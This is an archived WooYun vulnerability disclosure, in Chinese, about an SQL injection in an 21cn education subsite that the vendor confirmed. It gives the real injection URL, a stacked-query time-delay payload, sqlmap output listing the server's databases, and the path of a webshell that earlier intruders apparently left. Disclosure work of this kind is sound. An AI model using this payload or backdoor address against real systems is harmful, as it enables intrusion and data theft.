破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

21cn某分站sql注入漏洞威胁大量数据信息

编号156501
Urlhttp://www.wooyun.org/bug.php?action=view&id=156501
漏洞状态厂商已经确认
漏洞标题21cn某分站sql注入漏洞威胁大量数据信息
漏洞类型SQL注射漏洞
厂商世纪龙信息网络有限责任公司
白帽子路人甲
提交日期2015-11-29 22:28:00
公开日期2016-01-14 08:52:00
修复时间(not set)
确认时间2015-11-30 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
21cn某分站sql注入漏洞造成大量数据信息受威胁和服务器管理权限,getshell等..
漏洞细节

21cn某分站sql注入漏洞造成大量数据信息受威胁和服务器管理权限,getshell等..

POC

注入点:http://edu.21cn.com/list/GetJgFenxiao.asp?sort=fenxiao&username=

Place: GET
Parameter: username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sort=fenxiao&username='; WAITFOR DELAY '0:0:5'--
---
[00:01:06] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005


Place: GET
Parameter: username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sort=fenxiao&username='; WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
available databases [6]:
[*] master
[*] mianshou_edu
[*] mianshou_edu_old
[*] model
[*] msdb
[*] tempdb


发现有前辈留下痕迹就不一一整理深入了 另外服务器也已经沦陷了~
一句话地址:http://edu.21cn.com/MsInc/360_safe3.asp
还发现已被人黑产大牛利用。。:

QQ截图20151128002632.png

修复方案

...........
..........
.........
........
.......
......
.....
....
...
..
.

状态信息 2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-10: 细节向核心白帽子及相关领域专家公开
2015-12-20: 细节向普通白帽子公开
2015-12-30: 细节向实习白帽子公开
2016-01-14: 细节向公众公开
厂商回复感谢您对我们业务安全的关注,根据您的报告,问题已着手处理,谢谢。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-11-30 08:51